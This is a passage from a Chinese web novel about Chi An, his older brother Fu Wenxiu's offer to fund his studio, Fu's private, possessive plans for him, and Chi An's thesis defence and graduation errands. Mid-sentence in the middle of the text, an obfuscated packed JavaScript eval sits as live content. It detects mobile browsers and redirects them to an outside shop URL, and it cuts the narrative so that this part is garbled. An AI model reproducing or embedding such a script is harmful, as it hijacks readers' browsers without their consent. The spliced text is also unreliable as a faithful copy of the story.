傅闻修看他明显底气不足,一双乌黑的瞳仁滴溜溜的,也不知道心里的帐算清楚了没有,他身体向后,靠上沙发:“这样,既然想做,那就先准备第一个项目吧。” “啊?”池安疑惑的抬头。 “把你刚才说的想法,以及我提出的这些问题,做出一份详细的商业计划书。”傅闻修语气平常,像是高中时候随口给他布置的习题:“包括市场分析,目标定位,成本预算,风险预估,从初创期到稳定期的发展方向,你打算怎么做?写出来。” “不用多专业,但要把你脑子里思考的,和规划清晰的罗列出来。” “写好了拿给我看,我会在这份计划书的基础上,评估要不要投资你的工作室。” 傅闻修的这番话听起来公事公办,但眼神含笑,语调也温和,甚至好像带着几分轻松的调侃。 池安后知后觉的反应过来,他眼神一亮:“哥,你说真的啊?” “当然。”傅闻修点头。 池安一激动,整个上半身几乎都要趴在傅闻修交叠的腿上,他笑嘻嘻的把脑袋抬得更高了点:“那我今天就开始构思,尽量快点把计划书做出来,哥你要准备好哦,我要很多很多钱。” “看计划书的质量,做得好要多少有多少。” 傅闻修似乎也被他这样的动作和表情逗笑了,他看了眼腕表,快十一点了,拍拍膝上人的脑袋:“不急,理清思路更重要,今天不要想了,先去休息。” “哦,好像是挺晚了。”池安往窗外看了眼,从他腿上起来,起身拍了拍坐太久发麻的双腿。 今晚论文搞定,加上明确了未来的方向,还有哥哥的帮助,他这会儿身心骤然放松下来,倦意才浓重的弥漫起来。 “那我先洗澡睡觉了,你也早点休息。”池安抱着电脑往卧室走,进门之前又转身,冲他挥挥手,乖乖的:“哥哥晚安。” 傅闻修正低头收拾着沙发和皱起来的地毯,闻言抬头:“晚安。” 关上房门,池安心情不错的把电脑重新充上电,拿上换洗衣服去洗澡,脱裤子的时候大腿被什么硬硬的东西硌了一下,他伸手一摸,才想起自己下午没送出去的这枚手链。 他又打开看了一会,手链还是和在专柜见到时的一样漂亮,他伸手,小心碰了碰下面那枚小小的吊坠,中间镶嵌的方形钻石静静躺在黑丝绒的绒面上,在浴室灯光下看起来流光溢彩。 脑海里又闪过柜姐那句“彼此专属,不可替代。”脸上被浴室放出的热水蒸汽熏的微微发热,池安摩挲着绒面,在心里叹了口气,关上盒子,给腰上系了条浴巾,回到卧室随手装进了桌上的包里。 虽然自己没理由送给哥哥,但这种东西都挺娇贵的,被水汽冲坏了就不好了,还是好好放着吧。 或许什么时候就有机会了呢? 慢悠悠的洗完澡,池安上床裹着被子,在舒舒服服的双人大床上打了几个滚,才关了灯。 傅闻修这时候刚忙完,回卧室的路上,视线落在书架上某个熟悉的位置时,脚步停了下来。 他擅长观察细节,又记性极佳,所有亲手摆放布置的东西但凡动了一点都会引起他的注意,所以他自然一眼就发现了那个被动过的盒子。 似乎被人往里推了不少,他踱步到书架上,轻轻拿起,姿态闲适的观察着。 动它的人好像有些慌乱,四个角有一个地方翘了点,没完全盖上。 他能想象得到池安可能是带着怎样好奇的心情打开它,看到里面那些被收纳存放的青涩笔触时又是如何慌乱,匆匆盖上盒盖,欲盖弥彰的将它推进了深处。 傅闻修沉默的站在那里,客厅黑着,只有清透的月光从窗外进来,勾勒着他轮廓深邃的高大身影。 这本素描本长期放在自己书房的抽屉里,是他前天亲手拿出来,又亲手装进这个陈旧的礼盒,放在了这样似乎不显眼却又显眼的位置。 池安压力大或者焦虑的时候就喜欢用购物发泄,难怪他下午突然发消息说要出去走走,又冒冒失失的买了一堆几乎拿不下的东西回来。 傅闻修将盒子放回原位。 他喜欢掌控,享受那种一切尽在掌握,徐徐图之的过程,他耐心的看着弟弟按照他的预想,懵懂踏入他精心布置的领域,带着全然的信任和依赖。 强烈的控制欲在心底叫嚣,但被他用更强大的理智压下。他要的远不仅于此。 他要根深蒂固,要不可或缺,要哪怕仅仅只是幻想中的割舍抽离便会抽筋剥骨的疼痛,要他心甘情愿的停留,而不是一时的刺激或可能将他推远的冒进。 现在看来,或许有些心急了。 他望向对面那扇紧闭着的漆黑的门,面无表情的转身往卧室走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823970|191087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 * 第二天池安在家里又重新熟悉了一下论文,在导师的指导下准备了一些可能会被问到的问题的回答,周三一早就去了学校。 他的老师是个人很好说话的小老头,每天乐呵呵的,给他们指导论文,从开题报告到定稿基本都没压力过他们,一直都很认真的帮他们修改优化。 所以有了老师的帮助,池安的论文答辩也顺利的出乎他的预料,好几个刁钻的问题都被老师给猜中了,毕业的最后一道关卡也算圆满通过了。 池安走出教室,隔壁的答辩教室门口柏以苦哈哈的冲他挥了挥手,他走过去,就被来了个热情的拥抱:“安仔,你答辩完了?多少分啊?” “93,热死了你。”池安胸口被猛的这么一勒差点要翻白眼,他推开柏以:“你还没开始啊。” “没呢,按学号来的,出来的都说我们这几个老师会一边问一边骂,骂骂得了呗,能过就行。”柏以叹了口气,顾影自怜的拿着手机照了照:“我柏少什么时候受过这种委屈。” “……” 池安:“路信鸥呢?没和你一起吗?” “没啊,古风小生在楼上教室。”柏以摇头。 池安一愣:“什么古风小生?” “他天天不是在群里给自己备注路公子吗,这还不古风小生?”柏以靠墙,懒懒的说:“最近又不知道从哪看的,买了串巨贵的佛珠天天带身上,我还打算给他改名清冷佛子呢。” 池安噗嗤一声笑了出来。 “哎呀不跟你扯了,我得进去了,后天毕业典礼结束我俩来找你别忘了,一起吃饭啊。”柏以拍拍他的肩。 池安点头答应:“好,知道了。” 离开教学楼,在毕业的系通知群里看了看置顶的流程,接下来就是去行政楼拿毕业证书,处理各种各样的离校手续,签字等等。 他切到傅闻修的聊天框,发了个瘫倒在地的猫猫表情包。 F:“结束了?” 不安:“结束了但没完全结束,我现在要去领毕业证书,还要找各种老师签字,累得不行了。/哭哭” F:“安安辛苦了,吃点东西,离校手续办完回来有奖励。” 不安:“小猫探头.jpg” F:“小猫点头.jpg” 到了地方才发现排了巨长的队,池安本来就累了,懒懒散散的靠墙排了一会觉得好麻烦,看了眼时间,索性在饭卡注销前去吃了个午饭,打算下午再去一趟。 没想到下午的人更多,人头攒动,池安看着只觉得两眼一黑,掏出手机给傅闻修发消息:“哥。” “俺不中了.jpg” F:“又哪里来的怪表情。” 不安:“在排队,好烦,我晚上不回去了,今晚在学校住一晚,明天早上再来弄手续,正好明天也要拍毕业照什么的,省得来回跑。” 对面的消息等了一会才回过来。 F:“可以,明天我去接你。” F:“在学校乖一点,今晚不准出去玩。” 不安:“小猫摇头.jpg” F:“?” 带着点小小的,挑衅哥哥后的得意感,池安心满意足打字:“保证听哥哥的话~”